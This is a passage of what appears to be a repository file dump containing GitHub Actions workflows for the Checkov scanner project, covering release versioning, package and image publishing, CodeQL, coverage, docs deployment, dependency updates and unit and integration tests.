actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          token: ${{ secrets.GH_PAT_SECRET }}\n      - name: Import GPG key\n        id: import_gpg\n        uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec  # v5\n        with:\n          gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }}\n          passphrase: ${{ secrets.PASSPHRASE }}\n      - name: Set up Python ${{ env.PYTHON_VERSION }}\n        uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Install dependencies\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          pipenv install\n      - name: Calculate version\n        run: |\n          git fetch --tags --force\n          latest_tag=\"$(git tag --sort=v:refname | tail -n 1)\"\n          echo \"latest tag: $latest_tag\"\n          if [[ -z \"${{ inputs.versionBump }}\" ]]\n          then\n            version=\"patch\"\n          else\n            version=\"${{ inputs.versionBump }}\"\n          fi\n          case $version in\n            minor)\n              new_tag=$(echo \"$latest_tag\" | awk -F. -v a=\"$1\" -v b=\"$2\" -v c=\"$3\" '{printf(\"%d.%d.%d\", $1+a, $2+b+1 , 0)}')\n              ;;\n            major)\n              new_tag=$(echo \"$latest_tag\" | awk -F. -v a=\"$1\" -v b=\"$2\" -v c=\"$3\" '{printf(\"%d.%d.%d\", $1+a+1, 0 , 0)}')\n              ;;\n            patch)\n              new_tag=$(echo \"$latest_tag\" | awk -F. -v a=\"$1\" -v b=\"$2\" -v c=\"$3\" '{printf(\"%d.%d.%d\", $1+a, $2+b , $3+1)}')\n              ;;\n          esac\n\n          echo \"new tag: $new_tag\"\n          echo \"version=$new_tag\" >> \"$GITHUB_OUTPUT\"\n          \n          # grab major version for later image tag usage         \n          major_version=$(echo \"${new_tag}\" | head -c1)\n          echo \"major_version=$major_version\" >> \"$GITHUB_OUTPUT\"\n        id: calculateVersion\n      - name: version\n        env:\n          GITHUB_TOKEN: ${{ secrets.PAT_TOKEN }}\n        run: |\n          ## update docs\n          export PYTHONPATH='.'\n          # change the doc links to proper markdown versions\n          export CHECKOV_CREATE_MARKDOWN_HYPERLINKS='True'\n          git pull\n\n          for i in cloudformation terraform kubernetes serverless arm dockerfile secrets github_configuration gitlab_configuration bitbucket_configuration github_actions gitlab_ci bicep openapi bitbucket_pipelines argo_workflows circleci_pipelines azure_pipelines ansible all\n          do\n            export scansdoc=\"docs/5.Policy Index/$i.md\"\n            echo \"---\" > \"$scansdoc\"\n            echo \"layout: default\" >> \"$scansdoc\"\n            echo \"title: $i resource scans\" >> \"$scansdoc\"\n            echo \"nav_order: 1\" >> \"$scansdoc\"\n            echo \"---\" >> \"$scansdoc\"\n            echo \"\" >> \"$scansdoc\"\n            echo \"# $i resource scans (auto generated)\" >> \"$scansdoc\"\n            echo \"\" >> \"$scansdoc\"\n            pipenv run python checkov/main.py --list --framework \"$i\" >> \"$scansdoc\"\n          done\n\n          #add cloudformation scans to serverless\n          export scansdoc=\"docs/5.Policy Index/serverless.md\"\n          pipenv run python checkov/main.py --list --framework cloudformation >> \"$scansdoc\"\n          git add \"docs/5.Policy Index/*\"\n          git commit --reuse-message=\"HEAD@{1}\" || echo \"No changes to commit\"\n          \n          git config --global user.name 'GitHub Actions Bot'\n          git config --global user.email 'actions@github.com'\n          \n          new_tag=${{ steps.calculateVersion.outputs.version }}\n          echo \"new tag: $new_tag\"\n          ## update python version\n          echo \"version = '$new_tag'\" > 'checkov/version.py'\n          echo \"checkov==$new_tag\" > 'kubernetes/requirements.txt'\n\n          git commit --reuse-message=\"HEAD@{1}\" checkov/version.py kubernetes/requirements.txt || echo \"No changes to commit\"\n          git push origin\n          git tag $new_tag\n          git push --tags\n        id: version\n      - name: create python package\n        run: |\n          pipenv run python setup.py sdist bdist_wheel\n      - name: Publish a Python distribution to PyPI\n        uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc  # v1\n      - name: sleep and wait for package to refresh\n        run: |\n          sleep 2m\n    outputs:\n      version: ${{ steps.calculateVersion.outputs.version }}\n      major_version: ${{ steps.calculateVersion.outputs.major_version }}\n  publish-checkov-dockerhub:\n    needs: bump-version\n    uses: bridgecrewio/gha-reusable-workflows/.github/workflows/publish-image.yaml@main\n    permissions:\n      contents: read\n      id-token: write  # Enable OIDC\n      packages: write\n    with:\n      image_name_dockerhub: bridgecrew/checkov\n      image_name_ghcr: ghcr.io/${{ github.repository }}\n      image_tag_full: ${{ needs.bump-version.outputs.version }}\n      image_tag_short: ${{ needs.bump-version.outputs.major_version }}\n      runner: \"['self-hosted', 'public', 'linux', 'x64']\"\n    secrets:\n      BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n      PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n      DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}\n      DOCKERHUB_PASSWORD: ${{ secrets.DOCKERHUB_PASSWORD }}\n  publish-checkov-k8s-dockerhub:\n    needs: bump-version\n    uses: bridgecrewio/gha-reusable-workflows/.github/workflows/publish-image.yaml@main\n    permissions:\n      contents: read\n      id-token: write  # Enable OIDC\n      packages: write\n    with:\n      image_name_dockerhub: bridgecrew/checkov-k8s\n      image_name_ghcr: ghcr.io/${{ github.repository }}-k8s\n      image_tag_full: ${{ needs.bump-version.outputs.version }}\n      image_tag_short: ${{ needs.bump-version.outputs.major_version }}\n      dockerfile_path: kubernetes/Dockerfile\n      runner: \"['self-hosted', 'public', 'linux', 'x64']\"\n    secrets:\n      BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n      PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n      DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}\n      DOCKERHUB_PASSWORD: ${{ secrets.DOCKERHUB_PASSWORD }}\n  update-bridgecrew-projects:\n    needs: publish-checkov-dockerhub\n    runs-on: [self-hosted, public, linux, x64]\n    environment: release\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: update checkov release\n        run: |\n          curl -X POST \"https://jenkins-webhook.bridgecrew.cloud/buildByToken/build?job=Open-Source/upgrade-checkov&token=${{ secrets.BC_JENKINS_TOKEN }}\"\n\n          # trigger checkov-action update\n          curl -XPOST -u \"${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}\" -H \"Accept: application/vnd.github.everest-preview+json\" -H \"Content-Type: application/json\" https://api.github.com/repos/bridgecrewio/checkov-action/dispatches --data '{\"event_type\": \"build\"}'\n\n          # trigger bridgecrew-py update\n          curl -XPOST -u \"${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}\" -H \"Accept: application/vnd.github.everest-preview+json\" -H \"Content-Type: application/json\" https://api.github.com/repos/bridgecrewio/bridgecrew-py/dispatches --data '{\"event_type\": \"build\"}'\n\n          # trigger whorf update\n          curl -XPOST -u \"${{ secrets.GH_PAT_USER}}:${{secrets.GH_PAT_SECRET}}\" -H \"Accept: application/vnd.github.everest-preview+json\" -H \"Content-Type: application/json\" https://api.github.com/repos/bridgecrewio/whorf/dispatches --data '{\"event_type\": \"release\"}'\n"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ main ]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [ main ]\n  schedule:\n    - cron: '17 4 * * 2'\n  workflow_dispatch:\n\npermissions:\n  contents: read\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: [self-hosted, public, linux, x64]\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: Set up Python\n        uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: '3.10'\n      - name: Setup python for CodeQL\n        run: |\n          python -m pip install --no-cache-dir --upgrade pip pipenv\n          echo \"CODEQL_PYTHON=$(which python)\" >> \"$GITHUB_ENV\"\n      - name: Check Pipfile.lock changed\n        uses: tj-actions/verify-changed-files@a1c6acee9df209257a246f2cc6ae8cb6581c1edf  # v13\n        id: changed_files\n        with:\n          files: Pipfile.lock\n      - name: Setup dependencies if they changed\n        if: steps.changed_files.outputs.files_changed == 'true'\n        run: |\n          pipenv lock -r > requirements.txt\n          pip install -r requirements.txt\n      - name: Initialize CodeQL\n        uses: github/codeql-action/init@45775bd8235c68ba998cffa5171334d58593da47  # v2\n        with:\n          languages: python\n          setup-python-dependencies: false\n          config-file: ./.github/codeql-config.yml\n      - name: Autobuild\n        uses: github/codeql-action/autobuild@45775bd8235c68ba998cffa5171334d58593da47  # v2\n      - name: Perform CodeQL Analysis\n        uses: github/codeql-action/analyze@45775bd8235c68ba998cffa5171334d58593da47  # v2\n"
  },
  {
    "path": ".github/workflows/coverage.yaml",
    "content": "name: Coverage\n\non:\n  schedule:\n    - cron: '0 0 * * 0'\n  workflow_dispatch:\n\npermissions:\n  contents: read\n\njobs:\n  update-coverage:\n    runs-on: [ self-hosted, public, linux, x64 ]\n    permissions:\n      contents: write\n    environment: release\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          token: ${{ secrets.GH_PAT_SECRET }}\n      - name: Import GPG key\n        id: import_gpg\n        uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec  # v5\n        with:\n          gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }}\n          passphrase: ${{ secrets.PASSPHRASE }}\n      - name: Set up Python ${{ env.PYTHON_VERSION }}\n        uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Install dependencies\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          pipenv install --dev\n          pipenv run pip install pytest\n      - name: Test with pytest\n        run: |\n          pipenv run pytest --cov-report term --cov=checkov tests\n          pipenv run python -m coverage_badge -o coverage.svg -f\n          git commit -m \"Update coverage\" coverage.svg || echo \"No changes to commit\"\n"
  },
  {
    "path": ".github/workflows/jekyll-gh-pages.yml",
    "content": "# Sample workflow for building and deploying a Jekyll site to GitHub Pages\nname: Deploy Jekyll with GitHub Pages dependencies preinstalled\n\non:\n  # Runs on pushes targeting the default branch\n  push:\n    branches: [\"main\"]\n\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\n# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages\npermissions:\n  contents: read\n  pages: write\n  id-token: write\n\n# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.\n# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.\nconcurrency:\n  group: \"pages\"\n  cancel-in-progress: false\n\njobs:\n  # Build job\n  build:\n    runs-on: [self-hosted, public, linux, x64]\n    steps:\n      - name: Checkout\n        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: Setup Pages\n        uses: actions/configure-pages@983d7736d9b0ae728b81ab479565c72886d7745b  # v3\n      - name: Build with Jekyll\n        uses: actions/jekyll-build-pages@44a6e6beabd48582f863aeeb6cb2151cc1716697  # v1\n        with:\n          source: ./docs\n          destination: ./_site\n      - name: Upload artifact\n        uses: actions/upload-pages-artifact@0252fc4ba7626f0298f0cf00902a25c6afc77fa8  # v2\n\n  # Deployment job\n  deploy:\n    environment:\n      name: github-pages\n      url: ${{ steps.deployment.outputs.page_url }}\n    runs-on: [self-hosted, public, linux, x64]\n    needs: build\n    steps:\n      - name: Deploy to GitHub Pages\n        id: deployment\n        uses: actions/deploy-pages@d6db90164ac5ed86f2b6aed7e0febac5b3c0c03e  # v2\n"
  },
  {
    "path": ".github/workflows/nightly.yml",
    "content": "name: Nightly Run\n\non:\n  schedule:\n    # daily at 23:00 UTC\n    - cron: \"0 23 * * *\"\n  workflow_dispatch:\n\npermissions:\n  contents: read\n\njobs:\n  github-release:\n    runs-on: [self-hosted, public, linux, x64]\n    environment: release\n    permissions:\n      contents: write\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          fetch-depth: 0\n          token: ${{ secrets.GH_PAT_SECRET }}\n      - name: Prepare Release\n        id: prepare_release\n        run: |\n          # grab latest release and tag to compare and decide to create a new one\n          create_release=true\n          latest_gh_release=$(curl -s \"https://api.github.com/repos/${{ github.repository }}/releases/latest\"  | grep -Po '\"tag_name\": \"\\K.*?(?=\")')\n          latest_tag=$(git describe --abbrev=0 --tags)\n\n          if [ \"$latest_gh_release\" = \"$latest_tag\" ]\n          then\n            create_release=false\n          fi\n\n          echo \"create_release=$create_release\" >> \"$GITHUB_OUTPUT\"\n          echo \"latest_release_version=$latest_gh_release\" >> \"$GITHUB_OUTPUT\"\n          echo \"version=$latest_tag\" >> \"$GITHUB_OUTPUT\"\n      - name: Build GitHub Release changelog\n        if: steps.prepare_release.outputs.create_release == 'true'\n        id: build_github_release\n        uses: mikepenz/release-changelog-builder-action@5f3409748e2230350e149a7f7b5b8e9bcd785d44  # v3\n        env:\n          GITHUB_TOKEN: ${{ secrets.GH_PAT_SECRET }}\n        with:\n          configuration: \".github/release-changelog-config.json\"\n          fromTag: ${{ steps.prepare_release.outputs.latest_release_version }}\n          toTag: ${{ steps.prepare_release.outputs.version }}\n      - name: Create GitHub Release\n        if: steps.build_github_release.outputs.changelog != ''\n        uses: softprops/action-gh-release@da05d552573ad5aba039eaac05058a918a7bf631  # v2.2.2\n        id: create_github_release\n        with:\n          tag_name: ${{ steps.prepare_release.outputs.version }}\n          name: ${{ steps.prepare_release.outputs.version }}\n          body: ${{ steps.build_github_release.outputs.changelog }}\n      - name: Update CHANGELOG.md\n        if: steps.build_github_release.outputs.changelog != ''\n        uses: stefanzweifel/changelog-updater-action@a938690fad7edf25368f37e43a1ed1b34303eb36  # v1\n        with:\n          latest-version: ${{ steps.prepare_release.outputs.version }}\n          release-notes: ${{ steps.build_github_release.outputs.changelog }}\n      - name: Commit updated CHANGELOG.md\n        if: steps.build_github_release.outputs.changelog != ''\n        uses: stefanzweifel/git-auto-commit-action@b863ae1933cb653a53c021fe36dbb774e1fb9403  # v5\n        with:\n          commit_message: \"chore: update release notes\"\n          file_pattern: CHANGELOG.md\n    outputs:\n      upload_url: ${{ steps.create_github_release.outputs.upload_url }}\n      version: ${{ steps.prepare_release.outputs.version }}\n  build-release-artifacts:\n    strategy:\n      matrix:\n        include:\n          - os: macos-latest\n            name: darwin\n            suffix: ''\n          - os: ubuntu-latest\n            name: linux\n            suffix: ''\n          - os: windows-latest\n            name: windows\n            suffix: '.exe'\n    needs: [github-release]\n    if: needs.github-release.outputs.upload_url != ''\n    runs-on: ${{ matrix.os }}\n    permissions:\n      contents: write\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          fetch-depth: 0\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Install deps and run pyinstaller\n        run: |\n          pipenv sync\n          pipenv run pip install pyinstaller\n      - name: Build executable\n        run: pipenv run pyinstaller checkov.spec\n      - name: Windows - Test executable\n        if: matrix.os == 'windows-latest'\n        shell: bash\n        # make sure it doesn't crash\n        run: ./dist/checkov.exe -s -d tests/terraform/checks/resource/alicloud\n      - name: Windows - zip artifact\n        if: matrix.os == 'windows-latest'\n        run: tar.exe -a -c -f checkov.zip dist\\\\checkov.exe\n      - name: Linux/Mac - Test executable\n        if: matrix.os != 'windows-latest'\n        # make sure it doesn't crash\n        run: ./dist/checkov -s -d tests/terraform/checks/resource/alicloud\n      - name: Linux/Mac - zip artifact\n        if: matrix.os != 'windows-latest'\n        run: zip checkov.zip dist/checkov\n      - name: Upload Release Asset\n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ needs.github-release.outputs.upload_url }}\n          asset_path: checkov.zip\n          asset_name: checkov_${{ matrix.name }}_X86_64.zip\n          asset_content_type: application/zip\n  build-release-artifact-linux-arm:\n    needs: [ github-release ]\n    if: needs.github-release.outputs.upload_url != ''\n    runs-on: [self-hosted, public, linux, arm64]\n    container:\n      image: arm64v8/python:3.9\n    permissions:\n      contents: write\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          fetch-depth: 0\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Install deps and run pyinstaller\n        run: |\n          pipenv sync\n          pipenv run pip install pyinstaller\n      - name: Build executable\n        run: pipenv run pyinstaller checkov.spec\n      - name: zip artifact\n        run: |\n          apt-get update\n          apt install zip\n          zip checkov.zip dist/checkov\n      - name: Upload Release Asset\n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ needs.github-release.outputs.upload_url }}\n          asset_path: checkov.zip\n          asset_name: checkov_linux_arm64.zip\n          asset_content_type: application/zip\n"
  },
  {
    "path": ".github/workflows/pipenv-update.yml",
    "content": "name: pipenv-update\non:\n  schedule:\n    - cron:  '8 22 * * 1'\n  workflow_dispatch:\n\npermissions:\n  contents: read\n\njobs:\n  pipenv-update:\n    runs-on: [self-hosted, public, linux, x64]\n    permissions:\n      contents: write\n      pull-requests: write\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          ref: ${{ github.head_ref }}\n          token: ${{ secrets.GH_PAT_SECRET }}\n      - name: Import GPG key\n        id: import_gpg\n        uses: crazy-max/ghaction-import-gpg@e89d40939c28e39f97cf32126055eeae86ba74ec  # v5\n        with:\n          gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }}\n          passphrase: ${{ secrets.PASSPHRASE }}\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - run: |\n          git config --local user.email \"action@github.com\"\n          git config --local user.name \"GitHub Action\"\n          pipenv update\n          git add -u\n          git commit -m \"update pipenv packages\"\n        env:\n          GITHUB_TOKEN: ${{ secrets.PAT_TOKEN }}\n      - name: Create Pull Request\n        id: cpr\n        uses: peter-evans/create-pull-request@271a8d0340265f705b14b6d32b9829c1cb33d45e  # v5\n        with:\n          token: ${{ secrets.PAT_TOKEN }}\n          title: '[AUTO-PR] Update pipenv packages'\n          body: |\n            bump pipenv packages\n            - Auto-generated by [pipenv-update github action](https://github.com/bridgecrewio/checkov/blob/main/.github/workflows/pipenv-update.yml)\n          labels: automated pr\n          branch: pipenvfix\n          branch-suffix: timestamp\n"
  },
  {
    "path": ".github/workflows/pr-test.yml",
    "content": "name: PR Test\n\non: pull_request\n\npermissions:\n  contents: read\n\njobs:\n  lint:\n    uses: bridgecrewio/gha-reusable-workflows/.github/workflows/pre-commit.yaml@main\n    with:\n      python-version: \"3.9\"\n\n  danger-check:\n    runs-on: [ self-hosted, public, linux, x64 ]\n    permissions:\n      contents: read\n      pull-requests: read\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: Install Node.js\n        uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v4\n        with:\n          node-version: \"16\"\n      - name: Install and run DangerJS\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        run: |\n          npm install -g danger\n          danger ci --verbose --failOnErrors\n  cfn-lint:\n    runs-on: ubuntu-latest\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - name: Get changed CFN test files\n        id: changed-files-specific\n        uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v44\n        with:\n          files: tests/cloudformation/checks/resource/aws/**/*\n      - name: Filter YAML and JSON files\n        if: steps.changed-files-specific.outputs.any_changed == 'true'\n        id: filter-files\n        run:  |\n          YAML_JSON_FILES=$(echo ${{ steps.changed-files-specific.outputs.all_changed_files }} \\\n            | tr ' ' '\\n' \\\n            | grep -E '\\.ya?ml$|\\.json$' \\\n            | grep -v 'sam\\.yaml$' \\\n            | tr '\\n' ' ')\n          if [ -n \"$YAML_JSON_FILES\" ]; then\n            echo \"YAML_JSON_FILES=$YAML_JSON_FILES\" >> \"$GITHUB_ENV\"\n          fi\n      - name: Install cfn-lint & Lint Cloudformation templates\n        if: env.YAML_JSON_FILES != ''\n        run: |\n          pip install -U cfn-lint\n          for file in $YAML_JSON_FILES; do\n            cfn-lint \"$file\" -i W\n          done\n\n  mypy:\n    uses: bridgecrewio/gha-reusable-workflows/.github/workflows/mypy.yaml@main\n    with:\n      python-version: \"3.9\"\n\n  unit-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\", \"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n    runs-on: ubuntu-latest\n    timeout-minutes: 30\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: Set up Python ${{ matrix.python }}\n        uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          if [ \"${{ matrix.python }}\" = \"3.12\" ] || [ \"${{ matrix.python }}\" = \"3.13\" ]; then\n            # needed for numpy\n            python -m pip install --no-cache-dir --upgrade pipenv==2024.4.0\n          else\n            python -m pip install --no-cache-dir --upgrade pipenv\n          fi\n      - name: Install dependencies\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n\n          if [ \"${{ matrix.python }}\" = \"3.12\" ] || [ \"${{ matrix.python }}\" = \"3.13\" ]; then\n            echo \"patching >3.12 issues\"\n            pipenv run pip install setuptools\n            # needed for numpy\n            pipenv install --skip-lock --dev -v\n          else\n            pipenv install --dev -v\n          fi\n\n          # list all dependencies to get a better view about installed package versions\n          pipenv run pip list\n\n      - name: Unit tests\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        run: pipenv run python -m pytest tests\n\n  integration-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n        os: [ubuntu-latest, macos-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v4\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          version: \"v3.19.1\"  # the tests break starting v4 as checkov cannot support it, needs to be investigated\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        if: ${{ runner.os != 'windows' }}\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        shell: bash\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone Terragoat - vulnerable terraform\n        run: git clone https://github.com/bridgecrewio/terragoat\n      - name: Clone Cfngoat - vulnerable cloudformation\n        run: git clone https://github.com/bridgecrewio/cfngoat\n      - name: Clone Kubernetes-goat - vulnerable kubernetes\n        run: git clone https://github.com/madhuakula/kubernetes-goat\n      - name: Clone kustomize-goat - vulnerable kustomize\n        run: git clone https://github.com/bridgecrewio/kustomizegoat\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        run: |\n          # Just making sure the API key tests don't run on PRs\n          bash -c './integration_tests/prepare_data.sh ${{ matrix.os }} 3.9'\n      - name: Run integration tests\n        run: |\n          pipenv run pytest integration_tests -k 'not api_key'\n\n  integration-tests-old-python:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\"]\n        os: [ubuntu-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v4\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          version: \"v3.19.1\"\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        if: ${{ runner.os != 'windows' }}\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        shell: bash\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone Terragoat - vulnerable terraform\n        run: git clone https://github.com/bridgecrewio/terragoat\n      - name: Clone Cfngoat - vulnerable cloudformation\n        run: git clone https://github.com/bridgecrewio/cfngoat\n      - name: Clone Kubernetes-goat - vulnerable kubernetes\n        run: git clone https://github.com/madhuakula/kubernetes-goat\n      - name: Clone kustomize-goat - vulnerable kustomize\n        run: git clone https://github.com/bridgecrewio/kustomizegoat\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        run: |\n          # Just making sure the API key tests don't run on PRs\n          bash -c './integration_tests/prepare_data.sh ${{ matrix.os }} 3.9'\n      - name: Run integration tests\n        run: |\n          pipenv run pytest integration_tests -k 'not api_key'\n\n  sast-integration-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.12\", \"3.13\"]\n        os: [ubuntu-latest, macos-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest 